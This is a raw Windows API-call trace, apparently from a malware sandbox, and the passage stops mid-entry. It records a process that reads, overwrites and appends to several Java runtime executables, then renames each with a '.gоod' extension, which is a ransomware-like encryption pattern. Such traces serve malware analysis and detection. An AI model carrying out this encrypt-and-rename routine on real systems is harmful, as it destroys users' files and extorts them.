CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.904] GetFileType (hFile=0x6b0) returned 0x1 [0071.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0071.905] GetFileType (hFile=0x6b0) returned 0x1 [0071.905] WriteFile (in: hFile=0x6b0, lpBuffer=0x3165120*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3165120*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0071.905] CloseHandle (hObject=0x6b0) returned 1 [0071.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", lpFilePart=0x0) returned 0x34 [0071.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.gоod", lpFilePart=0x0) returned 0x39 [0071.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0071.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x271294ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8650)) returned 1 [0071.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0071.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.gоod")) returned 1 [0071.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", lpFilePart=0x0) returned 0x33 [0071.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0071.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), fInfoLevelId=0x0, lpFileInformation=0x32fb228 | out: lpFileInformation=0x32fb228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1 [0071.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0071.908] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", lpFilePart=0x0) returned 0x33 [0071.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0071.908] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.909] GetFileType (hFile=0x6b0) returned 0x1 [0071.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0071.909] GetFileType (hFile=0x6b0) returned 0x1 [0071.909] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0071.909] ReadFile (in: hFile=0x6b0, lpBuffer=0x32fb5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x32fb5f0*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0071.910] CloseHandle (hObject=0x6b0) returned 1 [0071.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", lpFilePart=0x0) returned 0x33 [0071.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0071.910] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.910] GetFileType (hFile=0x6b0) returned 0x1 [0071.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0071.910] GetFileType (hFile=0x6b0) returned 0x1 [0071.910] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x3e40 [0071.911] WriteFile (in: hFile=0x6b0, lpBuffer=0x32fc860*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x32fc860*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0071.911] CloseHandle (hObject=0x6b0) returned 1 [0071.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", lpFilePart=0x0) returned 0x33 [0071.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0071.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0071.913] GetFileType (hFile=0x6b0) returned 0x1 [0071.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0071.913] GetFileType (hFile=0x6b0) returned 0x1 [0071.913] ReadFile (in: hFile=0x6b0, lpBuffer=0x32feaf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x32feaf8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0072.367] CloseHandle (hObject=0x6b0) returned 1 [0072.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", lpFilePart=0x0) returned 0x33 [0072.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.368] GetFileType (hFile=0x6b0) returned 0x1 [0072.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.369] GetFileType (hFile=0x6b0) returned 0x1 [0072.369] WriteFile (in: hFile=0x6b0, lpBuffer=0x316d1a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x316d1a0*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0072.369] CloseHandle (hObject=0x6b0) returned 1 [0072.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", lpFilePart=0x0) returned 0x33 [0072.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.gоod", lpFilePart=0x0) returned 0x38 [0072.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0072.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x275a196c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e50)) returned 1 [0072.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0072.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.gоod")) returned 1 [0072.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", lpFilePart=0x0) returned 0x2f [0072.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0072.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), fInfoLevelId=0x0, lpFileInformation=0x31f3c38 | out: lpFileInformation=0x31f3c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1 [0072.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0072.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", lpFilePart=0x0) returned 0x2f [0072.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.371] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.372] GetFileType (hFile=0x6b0) returned 0x1 [0072.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.372] GetFileType (hFile=0x6b0) returned 0x1 [0072.372] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0072.372] ReadFile (in: hFile=0x6b0, lpBuffer=0x31f3fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x31f3fe0*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0072.373] CloseHandle (hObject=0x6b0) returned 1 [0072.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", lpFilePart=0x0) returned 0x2f [0072.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.373] GetFileType (hFile=0x6b0) returned 0x1 [0072.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.374] GetFileType (hFile=0x6b0) returned 0x1 [0072.374] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x32840 [0072.374] WriteFile (in: hFile=0x6b0, lpBuffer=0x31f5240*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x31f5240*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0072.374] CloseHandle (hObject=0x6b0) returned 1 [0072.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", lpFilePart=0x0) returned 0x2f [0072.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.380] GetFileType (hFile=0x6b0) returned 0x1 [0072.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.380] GetFileType (hFile=0x6b0) returned 0x1 [0072.380] ReadFile (in: hFile=0x6b0, lpBuffer=0x31f74c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x31f74c8*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0072.759] CloseHandle (hObject=0x6b0) returned 1 [0072.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", lpFilePart=0x0) returned 0x2f [0072.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.759] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.759] GetFileType (hFile=0x6b0) returned 0x1 [0072.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.759] GetFileType (hFile=0x6b0) returned 0x1 [0072.759] WriteFile (in: hFile=0x6b0, lpBuffer=0x31f6258*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x31f6258*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0072.760] CloseHandle (hObject=0x6b0) returned 1 [0072.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe", lpFilePart=0x0) returned 0x2f [0072.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.gоod", lpFilePart=0x0) returned 0x34 [0072.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0072.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2795b584, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850)) returned 1 [0072.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0072.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.gоod")) returned 1 [0072.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", lpFilePart=0x0) returned 0x32 [0072.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0072.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), fInfoLevelId=0x0, lpFileInformation=0x3329d68 | out: lpFileInformation=0x3329d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40)) returned 1 [0072.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0072.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", lpFilePart=0x0) returned 0x32 [0072.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.765] GetFileType (hFile=0x6b0) returned 0x1 [0072.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.765] GetFileType (hFile=0x6b0) returned 0x1 [0072.765] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0072.765] ReadFile (in: hFile=0x6b0, lpBuffer=0x332a120, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x332a120*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0072.766] CloseHandle (hObject=0x6b0) returned 1 [0072.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", lpFilePart=0x0) returned 0x32 [0072.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.766] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.766] GetFileType (hFile=0x6b0) returned 0x1 [0072.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.766] GetFileType (hFile=0x6b0) returned 0x1 [0072.766] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x13a40 [0072.767] WriteFile (in: hFile=0x6b0, lpBuffer=0x332b388*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x332b388*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0072.767] CloseHandle (hObject=0x6b0) returned 1 [0072.770] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", lpFilePart=0x0) returned 0x32 [0072.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0072.770] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0072.770] GetFileType (hFile=0x6b0) returned 0x1 [0072.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0072.770] GetFileType (hFile=0x6b0) returned 0x1 [0072.770] ReadFile (in: hFile=0x6b0, lpBuffer=0x332d618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x332d618*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0073.411] CloseHandle (hObject=0x6b0) returned 1 [0073.412] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", lpFilePart=0x0) returned 0x32 [0073.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0073.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0073.412] GetFileType (hFile=0x6b0) returned 0x1 [0073.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0073.412] GetFileType (hFile=0x6b0) returned 0x1 [0073.412] WriteFile (in: hFile=0x6b0, lpBuffer=0x316c448*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x316c448*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0073.412] CloseHandle (hObject=0x6b0) returned 1 [0073.414] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", lpFilePart=0x0) returned 0x32 [0073.414] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.gоod", lpFilePart=0x0) returned 0x37 [0073.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0073.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x27f81ebf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13a50)) returned 